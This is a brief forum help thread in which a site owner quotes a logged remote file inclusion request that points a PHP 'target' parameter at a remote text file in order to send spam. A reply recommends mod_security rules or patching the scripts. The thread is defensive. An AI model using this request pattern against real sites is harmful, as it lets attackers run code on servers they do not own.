i found in the logs last night that somebody had injected a code malicious enough to do spam. please help "POST /index.php?target=http://www.geocities.com/yo5w/jkr.txt? enabled the user to spam. how to avoid this? any htaccess solution on this.

You need to install mod_security with some custom rules to block such attempts or patch your scripts.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.